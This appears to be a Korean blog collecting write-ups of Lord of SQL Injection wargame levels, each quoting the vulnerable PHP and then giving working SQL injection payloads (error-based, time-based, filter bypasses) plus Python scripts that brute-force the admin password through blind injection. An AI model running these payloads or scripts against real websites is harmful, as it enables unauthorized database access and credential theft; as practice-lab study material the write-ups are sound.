반응형
반응형
반응형

PHANTOM

 

 

 

상단에 ip와 email이 나오는 테이블이 있다.

 

 

소스:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect("phantom");
 
  if($_GET['joinmail']){
    if(preg_match('/duplicate/i'$_GET['joinmail'])) exit("nice try");
    $query = "insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')";
    mysqli_query($db,$query);
    echo "<hr>query : <strong>{$query}</strong><hr>";
  }
 
  $rows = mysqli_query($db,"select no,ip,email from prob_phantom where no=1 or ip='{$_SERVER[REMOTE_ADDR]}'");
  echo "<table border=1><tr><th>ip</th><th>email</th></tr>";
    while(($result = mysqli_fetch_array($rows))){
    if($result['no'== 1$result['email'= "**************";
    echo "<tr><td>{$result[ip]}</td><td>".htmlentities($result[email])."</td></tr>";
  }
  echo "</table>";
 
  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_phantom where no=1 and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'=== $_GET['email'])){ mysqli_query($db,"delete from prob_phantom where no != 1"); solve("phantom"); }
  highlight_file(__FILE__);
?>
cs

 

 

 


  if(
$_GET['joinmail']){
    if(preg_match('/duplicate/i', $_GET['joinmail'])) exit("nice try");
    $query = "insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')";
    mysqli_query($db,$query);
    echo "<hr>query : <strong>{$query}</strong><hr>";
  }

 

6~11행에서는 joinmail을 get방식으로 받는다.

입력값에서 duplicate라는 문자열을 필터링 하는데, duplicate가 있으면 nice try 라고 하고 죽어버린다.

duplicate와 비슷한 것들을 이용해야하는 건가..?

 

 

 

 

 

 

 

$rows = mysqli_query($db,"select no,ip,email from prob_phantom where no=1 or ip='{$_SERVER[REMOTE_ADDR]}'");
  echo "<table border=1><tr><th>ip</th><th>email</th></tr>";
    while(($result = mysqli_fetch_array($rows))){
    if($result['no'] == 1) $result['email'] = "**************";
    echo "<tr><td>{$result[ip]}</td><td>".htmlentities($result[email])."</td></tr>"
;
  }

13~18행

no=1 or ip = '내 아이피' 에 있는 no, ip, email을 가져온다.

 

no가 1 이면 email을 *로 표시한다.

 

 

 

 

 

 

 

$_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_phantom where no=1 and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'] === $_GET['email'])){ mysqli_query($db,"delete from prob_phantom where no != 1"); solve("phantom"
); }

no가 1인 것의 email을 구해야 문제가 풀린다.

 

 

 

 

쿼리들을 순서대로 본다면, INSERT -> SELECT -> DELETE

 

값을 집어넣고, 가져와서 비교하고, 집어넣은 것들을 다시 없애기(초기화)

 

 

 

insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')

 

no = 0, ip, email 순서로 insert를 한다.

 

ip에 내 아이피가 들어가고, 

 

select no,ip,email from prob_phantom where no=1 or ip='{$_SERVER[REMOTE_ADDR]}'

 

여기서 내 아이피인 것도 가져오기 때문에, 위에서 삽입한 행도 불러온다.

위에서 행을 삽입할 때, email을 no=1인 email을 복제해서 넣는다면 복제된 email을 볼 수 도 있을 것이다.

 

 

 

 

 

joinmail = hihi'), (10,'xxx.xxx.xxx.xxx','hello')%23

 

이렇게 하면 한 번에 값을 두개 넣을 수 있다.

 

 

 

 

 

 

그래서 이런 것을 시도해 봤다.

hihi'), (10,'xxx.xxx.xxx.xxx',(select email from prob_phantom where no=1))#

 

 

no=1인 것의 email을 가져와 넣는 것이다. 하지만 되지 않았다..

 

이유를 찾아보니..같은 테이블에서는 오류가 나는 것이었다.

 

 

 

 

 

임시테이블을 만들어서 그 임시테이블의 값을 가져온다면?

 

hihi'), (12,'xxx.xxx.xxx.xxx',(select e from (select email as e from prob_phantom where no=1)as t) )#

 

 

 

이제 나온 email을 파라미터로 전달하자.

 

 

 

 

 

PHANTOM Clear!

반응형
반응형

frankenstein

 

와 프랑켄슈타인

 

 

...

 

 

 

소스 보자

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(|\)|union/i'$_GET[pw])) exit("No Hack ~_~");
  $query = "select id,pw from prob_frankenstein where id='frankenstein' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit("error");
 
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_frankenstein where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'== $_GET['pw'])) solve("frankenstein");
  highlight_file(__FILE__);
?>
cs

 

pw만 get방식으로 받는다.

 

이번에도 pw를 구해야 한다.

근데 frankenstein이 아닌 admin이 id인 것의 pw를 구해야 한다.

 

 

if(mysqli_error($db)) exit("error"); 가 있기 때문에 error based sqli로 풀면 될 것 같다.

 

 

( 와 ) 를 사용할 수 없기 때문에 if를 case when then end로 우회를 했다.

 

또한, length()나 substr()을 사용할 수 없기 때문에, like와 %를 사용했다.

 

 

 

?pw=' or id='admin' and case when pw like '0%' then 1 else 9e307*2 end%23

 

pw like '0%' 가 true이면 1을, false이면 9e307*2를 반환.

 

 

9e307*2는 error을 만들어 낸다.

 

9e307보다 큰 수면 error가 나는데, 구문 자체에 9e308등의 수를 넣으면 그 구문자체가 error가 나버려서 true false 판별을 못한다.

 

 

 

exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"#~!@#$^&*()-_+="
 
 
key = ""
 
for i in range(8):
    for j in range(len(string)):
        #payload = "(select exp(710) where '"+string[j]+"'=(select substr(email,"+str(i+1)+",1) where id='admin'))"
        payload = "' or id='admin' and case when pw like '"+key+string[j]+"%' then 1 else 9e307*2 end#"
        payload = urllib.quote(payload)
        url = "https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php?pw="+payload
 
        print url
 
        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
        request.add_header('Cookie''PHPSESSID=your-cookie')
        request.get_method = lambda:'GET'
        data = opener.open(request)
        data = data.read()
 
        #print data
 
        if not "<br>error" in data:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"] "
            break
        else:
            print "[-] Fail!"
 
cs

 

 

 

 

 

FRANKENSTEIN Clear!

 

 

 

 

 

 

 

 

 

반응형
반응형

blue_dragon

 

 

파란 용용이

 

 

 

소스를 보자

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\./i'$_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\./i'$_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_blue_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(preg_match('/\'|\\\/i'$_GET[id])) exit("No Hack ~_~");
  if(preg_match('/\'|\\\/i'$_GET[pw])) exit("No Hack ~_~");
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
 
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_blue_dragon where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'== $_GET['pw'])) solve("blue_dragon");
  highlight_file(__FILE__);
?>
cs

 

'랑 \을 필터링한다.

 

근데 이 필터링을 쿼리를 실행하고서 필터링을 한다. 따라서 '이나 \을 넣어도 쿼리는 실행된다. 다만, 결과가 No Hack으로만 나올 뿐이다.

 

 

이때 time based sql injection을 사용하면 된다. 그럼 쿼리가 실행되서 그 결과를 시간으로 구별할 수 있다.

 

 

 

?id=admin' and if(length(pw)>0,sleep(1),0)%23

length(pw)>0이 참이면 sleep(1)을 반환한다.

 

 

 

 

 

time based sqli

https://mandu-mandu.tistory.com/331

 

LORD OF SQL INJECTION [hell_fire] 풀이

문제 소스: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21

mandu-mandu.tistory.com

 

 

 

 

?id=admin%27%20and%20if(length(pw)=8,sleep(1),0)%23

 

pw의 길이는 8이다.

 

 

 

 

 

 

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="
 
 
key = ""
 
for i in range(8):
    for j in range(len(string)):
        payload = "admin' and if(substr(pw,"+str(i+1)+",1)='"+string[j]+"',sleep(1),0)#"
        payload = urllib.quote(payload)
        url = "https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php?id="+payload
 
        print url
 
        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
        request.add_header('Cookie''PHPSESSID=your_cookie')
        request.get_method = lambda:'GET'
 
        start = time.time()
 
        data = opener.open(request)
        data = data.read()
 
        end= time.time()-start
 
 
        if end > 1:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"] "
            break
        else:
            print "[-] Fail!"
 
cs

 

BLUE_DRAGON Clear!

반응형
반응형

red_dragon

빨간 용용이

 

소스를 보자

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\./i'$_GET['id'])) exit("No Hack ~_~");
  if(strlen($_GET['id']) > 7exit("too long string");
  $no = is_numeric($_GET['no']) ? $_GET['no'] : 1;
  $query = "select id from prob_red_dragon where id='{$_GET['id']}' and no={$no}";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) echo "<h2>Hello {$result['id']}</h2>";
 
  $query = "select no from prob_red_dragon where id='admin'"// if you think challenge got wrong, look column name again.
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['no'=== $_GET['no']) solve("red_dragon");
  highlight_file(__FILE__);
?>
cs

 

 

if(strlen($_GET['id']) > 7) exit("too long string");

 

id의 길이가 7보다 크면 안된다.

 

 

 

$no = is_numeric($_GET['no']) ? $_GET['no'] : 1;

 

?는 if와 의미가 같다.  조건 ? True : False

 

no의 값이 숫자가 아니면 1을 반환한다.

 

 

 

 $query = "select no from prob_red_dragon where id='admin'"; // if you think challenge got wrong, look column name again.
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['no'] === $_GET['no']) solve("red_dragon");

 

id가 admin인 것의 no값을 가져와서 입력한 no값과 같으면 된다.

 

 

 

 

 

 

id=admin'%23 으로 입력해주면 쿼리가

query : select id from prob_red_dragon where id='admin'#' and no=1 로 되어서 admin이 나온다.

 

 

이제 no값을 찾아내야 한다.

 

쿼리에 && no>10 이런 형태를 유도해야한다.

 

id에 넣을 값을 줄여볼까..

 

 

 

 

 

 

#은 한줄 주석임을 이용해서 and no=을 날려주고

 

id에 '|| no> 을 넣고 no에 \n1을 넣어주면 쿼리가 id=''||no>1이 될 것이다.

 

 

 

id=%27||no>%23&no=%0a1

query : select id from prob_red_dragon where id=''||no>#' and no= 1

 

 

hello admin이 잘 튀어나온다. 이걸로 범위를 구해보자

 

 

 

 

 

 

최대범위

query : select id from prob_red_dragon where id=''||no<#' and no= 1000000000

 

최소범위

query : select id from prob_red_dragon where id=''||no>#' and no= 100000000

 

 

 

저번에 사용했던 이진탐색 알고리즘을 또 우려먹자!

 

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import urllib
import urllib2
import sys
import time
 
 
def binary_search_recursion(start, end , i):
    if start > end:
        return start
 
    mid = (start + end) // 2
 
    data = blind_sqli(mid, i)
 
    if "Hello admin" in data:
        start = mid + 1
        print mid
    else:
        end = mid - 1
 
    return binary_search_recursion(start, end, i)
 
def blind_sqli(val, i):
    payload = "'||no>#"
    payload = urllib.quote(payload)
    payload = payload + "&no=%0a"+str(val)
    url = "https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php?id="+payload
 
    print url
 
    opener = urllib2.build_opener(urllib2.HTTPHandler)
    request = urllib2.Request(url)
    request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
    request.add_header('Cookie''PHPSESSID=cookie')
    request.get_method = lambda:'GET'
    data = opener.open(request)
    data = data.read()
 
    return data
 
key = ""
for i in range(0,1):
    k = binary_search_recursion(100000000,1000000000, i)
    key+=str(hex(k))
print key
 
cs

 

마지막 값에 1 더하면 그게 no값이다.

반응형
반응형

green_dragon

 

 

녹색 용용이

 

 

 

소스를 보자.

 

 

 

쿼리를 두 번 실행한다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\'|\"/i'$_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\.|\'|\"/i'$_GET[pw])) exit("No Hack ~_~");
  $query = "select id,pw from prob_green_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']){
    if(preg_match('/prob|_|\.|\'|\"/i'$result['id'])) exit("No Hack ~_~");
    if(preg_match('/prob|_|\.|\'|\"/i'$result['pw'])) exit("No Hack ~_~");
    $query2 = "select id from prob_green_dragon where id='{$result[id]}' and pw='{$result[pw]}'";
    echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
    $result = mysqli_fetch_array(mysqli_query($db,$query2));
    if($result['id'== "admin") solve("green_dragon");
  }
  highlight_file(__FILE__);
?>
cs

 

id와 pw값을 받아서 쿼리를 실행한 후에 결과값이 있으면

결과값의 id와 pw를 이용해서 쿼리를 실행하고 id가 admin이면 문제가 풀린다.

 

 

 

 

\을 이용해서 '을 우회해보았다.

https://los.rubiya.kr/chall/green_dragon_74d944f888fd3f9cf76e4e230e78c45b.php?id=admin\&pw=or%20id=0x61646d696e%23

 

query : select id,pw from prob_green_dragon where id='admin\' and pw='or id=0x61646d696e#'

 

흠.. 반응이 없다.

 

 

아에 prob_green_dragon 테이블에 값이 없는 것으로 보인다.

 

 

 

 

 

 

 

 

 

 

union으로 결과를 합쳐주면 된다.

https://www.w3schools.com/sql/sql_union.asp

 

SQL UNION Operator

SQL UNION Operator The SQL UNION Operator The UNION operator is used to combine the result-set of two or more SELECT statements. Each SELECT statement within UNION must have the same number of columns The columns must also have similar data types The colum

www.w3schools.com

 

 

?id=\&pw=%20union%20select%201,2%23

 

query : select id,pw from prob_green_dragon where id='admin\' and pw=' union select 1,2#'

query2 : select id from prob_green_dragon where id='1' and pw='2'

 

 

query2까지 잘 나온다.

 

이제 query2에서 admin이 나오도록 우회를 시도하면 된다.

 

 

 

 

 

 

 

 

 

 

 

query2를 where id='\' and pw='union select 0x61646d696e#'

으로 만들어주면 된다.

 

id에는 \가 들어가야되고 pw에는 union select 0x61646d696e#이 들어가야 한다.

 

https://www.branah.com/ascii-converter

 

ASCII Converter - Hex, decimal, binary, base64, and ASCII converter

Convert ASCII characters to their hex, decimal and binary representations and vice versa. In addition, base64 encode/decode binary data. The converter happens automatically.

www.branah.com

여기서 hex값으로 바꿔서 넣어주자.Convert white space characters 에 체크, Remove 0x에 체크하고

나온 hex값 앞에 0x를 붙여주면 된다.

 

 

 

 

 

 

최종 url

?id=\&pw=%20union%20select%200x5c,0x756e696f6e2073656c6563742030783631363436643639366523%23

반응형
반응형

소스를 보자

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/col|if|case|when|sleep|benchmark/i'$_GET[pw])) exit("HeHe");
  $query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit();
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'== $_GET['pw'])) solve("dark_eyes");
  highlight_file(__FILE__);
?>
cs

 

 

 

 

 

  if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");

  if(mysqli_error($db)) exit();

 

이전 문제와 다른 점은 필터링이 더 늘었다는 것과, sql 에러가 나면 php가 죽어버리는 점이 있다.

 

 

 

 

 

 

 

일단 이전 문제에서 사용했던 if를 우회해야 한다.

 

https://dorahee.tistory.com/140

 

sql 인젝션 우회 기법

1. or and 구문을 필터링 하고 있을 경우 - url 인코딩 문자인 %로 우회 - and >> %26%26, && - or >> %7C%7C, || 2. 단순 문자열 필터링인 경우 - preg_match - php 필터링 함수인 preg_match를 사용할 때 char,..

dorahee.tistory.com

위 글에서 if 를 대체할 함수로 coalesce함수가 나와있다.

 

 

 

coalesce는 null 값이 아닌 다음 인자를 반환한다.

 

 

1' or id='admin' and coalesce((select 1 where length(pw)=1) or null,(select 1 union select 2))%23

 

이렇게 하면 length(pw)=1 이 true가 되면 첫번째 인자가 null이 아니게 되어 다음 인자인 select 1 union select 2 를 반환하여 오류를 발생시킬 수 있다.

 

 

 

 

 

 

 

 

query : select id from prob_dark_eyes where id='admin' and pw='1' or id='admin' and coalesce((select 1 where length(pw)=8) or null,(select 1 union select 2))#'

 

pw는 8자리다.

 

 

query : select id from prob_dark_eyes where id='admin' and pw='1' or id='admin' and coalesce((select 1 where length(substr(pw,1,1))=1) or null,(select 1 union select 2))#'

은 참이다.

 

 

 

코드짜서 돌리자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="
 
 
key = ""
 
for i in range(8):
    for j in range(len(string)):
        payload = "1' or id='admin' and coalesce((select 1 where substring(pw,"+str(i+1)+",1)='"+string[j]+"') or null,(select 1 union select 2))#"
        payload = urllib.quote(payload)
        url = "https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw="+payload
 
        print url
 
        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
        request.add_header('Cookie''PHPSESSID=your_cookie')
        request.get_method = lambda:'GET'
        data = opener.open(request)
        data = data.read()
 
 
        if "query" in data:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"] admin"
            break
        else:
            print "[-] Fail!"
        time.sleep(0.01)
cs
반응형
반응형

소스:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 
<?php
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/sleep|benchmark/i'$_GET[pw])) exit("HeHe");
  $query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit(mysqli_error($db));
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'== $_GET['pw'])) solve("iron_golem");
  highlight_file(__FILE__);
?>
cs

if(mysqli_error($db)) exit(mysqli_error($db));

 

결과는 안알려주는데 에러 발생하면 에러를 내뿜고 종료하는 구문이 있다.

이를 통해 Error Based SQL Injection 임을 알 수 있다.

 

 

 

 

 

 

 

pw=' or if(length(pw)=1,1,(select 1 union select 2))%23

 

으로 보내주면 조건 length(pw)=1 이 참이면 1을 반환하고, 거짓이면 select 1 union select 2를 반환하여 오류를 내뿜게 할 수 있다.

 

 

 

 

 

 

 

 

 

pw=%27%20or%20if(length(pw)=32,1,(select%201%20union%20select%202))%23

 

pw의 길이는 32이다.

 

 

 

 

저번처럼 유니코드일지도 모르니까 한 자리의 길이도 구했다.

pw=%27%20or%20if(length(substr(pw,1,1))=1,1,(select%201%20union%20select%202))%23

 

 

다행이 1이다.

 

 

 

소스 짜서 돌리자.

 

Subquery returns more than 1 row 가 나오지 않는 것을 찾으면 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="
 
 
key = ""
 
for i in range(32):
    for j in range(len(string)):
        payload = "' or if(substring(pw,"+str(i+1)+",1)='"+string[j]+"',1,(select 1 union select 2))#"
        payload = urllib.quote(payload)
        url = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw="+payload
 
        print url
 
        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
        request.add_header('Cookie''PHPSESSID=your_cookie')
        request.get_method = lambda:'GET'
        data = opener.open(request)
        data = data.read()
 
 
        if not "Subquery returns more than 1 row" in data:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"] admin"
            break
        else:
            print "[-] Fail!"
        time.sleep(0.01)
cs
반응형
반응형

DRAGON

 

문제소스

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"
  if($result['id'== 'admin') solve("dragon");
  highlight_file(__FILE__); 
?>
cs

 

 

쿼리에 #이 들어있어서 뒷부분이 주석처리 된다.

 

근데 #은 한 줄만 주석처리한다. 줄바꿈을 한 것은 실행이 될 것으로 생각되었다.

 

 

 

 

줄바꿈 %0a를 넣어주어 쿼리를 완성시켰다.

 

https://los.rubiya.kr/chall/dragon_51996aa769df79afbf79eb4d66dbcef6.php?pw=%0aand pw=1 or id='admin 

 

query : select id from prob_dragon where id='guest'# and pw=' and pw=1 or id='admin'


 

Hello admin

DRAGON Clear!

반응형
반응형

 

 

 

문제 소스 : 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/regex|like/i'$_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'== $_GET['pw'])) solve("xavis"); 
  highlight_file(__FILE__); 
?>
cs

 

 

  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis"); 

 

blind sqli 로 pw값을 구해내야 한다.

 

 

 

 

query : select id from prob_xavis where id='admin' and pw='1'or'1'='1' and length(pw) = 12#'

 

 

pw의 길이는 12이다.

 

 

 

 

 

 

blind sqli를 했는데 아래 범위에서 일치하는게 나오지 않았다..

string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="

 

 

 

 

그래서 범위를 123에서 255로 잡고 코드를 수정하여 다시 돌렸다.

 

 

그래도 안나왔다. 왜 그런가 보니...

 

query : select id from prob_xavis where id='admin' and pw='1' or '1'='1' and ord(mid(pw,1,1))>255#'


 

Hello admin

 

오우.. 255를 넘는다. 

 

500도 넘고 1000도 넘고..

 

 

 

유니코드인거 같아서

유니코드 한글 범위 AC00 - D7AF를 확인해 봤다.

 

 

query : select id from prob_xavis where id='admin' and pw='1' or '1'='1' and ord(mid(pw,1,1))>44032#'


 

Hello admin

 

query : select id from prob_xavis where id='admin' and pw='1' or '1'='1' and ord(mid(pw,1,1))<55215#'


 

Hello admin

 

 

44032와 55215 사이 범위임을 알 수 있었다.

 

그럼 이제 각 자리마다 11000개 가량을 시도해야한단 소리인데..

 

 

 

 

이진탐색을 이용해서 시도 횟수를 줄여야 할 것 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import urllib
import urllib2
import sys
import time
 
 
def binary_search_recursion(start, end , i):
    if start > end:
        return start
 
    mid = (start + end) // 2
 
    data = blind_sqli(mid, i)
 
    if "Hello admin" in data:
        start = mid + 1
        print mid
    else:
        end = mid - 1
 
    return binary_search_recursion(start, end, i)
 
def blind_sqli(val, i):
    payload = "1' or '1'='1' and ord(mid(pw,"+str(i+1)+",1))>"+str(val)+"#"
    payload = urllib.quote(payload)
    url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw="+payload
 
    print url
 
    opener = urllib2.build_opener(urllib2.HTTPHandler)
    request = urllib2.Request(url)
    request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
    request.add_header('Cookie''PHPSESSID=cookie')
    request.get_method = lambda:'GET'
    data = opener.open(request)
    data = data.read()
 
    return data
 
key = ""
for i in range(0,3):
    k = binary_search_recursion(44032,55215, i)
    key+=str(hex(k))
print key
 
cs

 

코드를 쓱싹하고 짰다.

 

유니코드로 바꿔주면(0x -> %u) 한글 3글자가 나오는데 그걸 pw로 넘겨주면 된다.

반응형
반응형

소스를 보자

 

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/ |\/|\(|\)|\||&|select|from|0x/i",$_GET['no'])) exit("no hack");
  $result = mysqli_fetch_array(mysqli_query($db,"select id from chall18 where id='guest' and no=$_GET[no]")); // admin's no = 2
 
  if($result['id']=="guest"echo "hi guest";
  if($result['id']=="admin"){
    solve(18);
    echo "hi admin!";
  }
}
?>
cs

 

 

where id='guest' and no=2 or id='admin' 으로 만들어주면 된다.

 

공백을 필터링하기 때문에 %20대신 %0a로 우회해주면 된다.

 

 

 

 

?no=2%0aor%0aid%0a=%27admin%27

반응형

+ Recent posts